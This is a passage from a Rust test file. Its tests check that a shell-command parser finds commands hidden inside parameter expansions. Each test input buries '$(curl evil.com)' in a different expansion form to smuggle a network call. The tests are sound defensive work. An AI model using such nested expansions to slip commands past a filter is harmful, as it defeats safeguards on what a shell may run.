1887    #[test]
1888    fn test_parameter_expansion_assign_default_extracts_command_substitution() {
1889        let commands = extract_commands("echo ${V:=$(curl evil.com)}").expect("parse failed");
1890        assert!(commands.iter().any(|c| c.contains("echo")));
1891        assert!(commands.iter().any(|c| c.contains("curl")));
1892    }
1893
1894    #[test]
1895    fn test_parameter_expansion_alternative_value_extracts_command_substitution() {
1896        let commands = extract_commands("echo ${V:+$(curl evil.com)}").expect("parse failed");
1897        assert!(commands.iter().any(|c| c.contains("echo")));
1898        assert!(commands.iter().any(|c| c.contains("curl")));
1899    }
1900
1901    #[test]
1902    fn test_parameter_expansion_error_message_extracts_command_substitution() {
1903        let commands = extract_commands("echo ${V:?$(curl evil.com)}").expect("parse failed");
1904        assert!(commands.iter().any(|c| c.contains("echo")));
1905        assert!(commands.iter().any(|c| c.contains("curl")));
1906    }
1907
1908    #[test]
1909    fn test_parameter_expansion_replacement_extracts_command_substitution() {
1910        let commands = extract_commands("echo ${V/x/$(curl evil.com)}").expect("parse failed");
1911        assert!(commands.iter().any(|c| c.contains("echo")));
1912        assert!(commands.iter().any(|c| c.contains("curl")));
1913    }
1914
1915    #[test]
1916    fn test_parameter_expansion_suffix_pattern_extracts_command_substitution() {
1917        let commands = extract_commands("echo ${V%$(curl evil.com)}").expect("parse failed");
1918        assert!(commands.iter().any(|c| c.contains("echo")));
1919        assert!(commands.iter().any(|c| c.contains("curl")));
1920    }
1921
1922    #[test]
1923    fn test_parameter_expansion_substring_offset_extracts_command_substitution() {
1924        let commands = extract_commands("echo ${V:$(($(curl evil.com))):1}").expect("parse failed");
1925        assert!(commands.iter().any(|c| c.contains("echo")));
1926        assert!(commands.iter().any(|c| c.contains("curl")));
1927    }
1928}
1929
Served at tenant.openagents/omega Member data and write actions are omitted.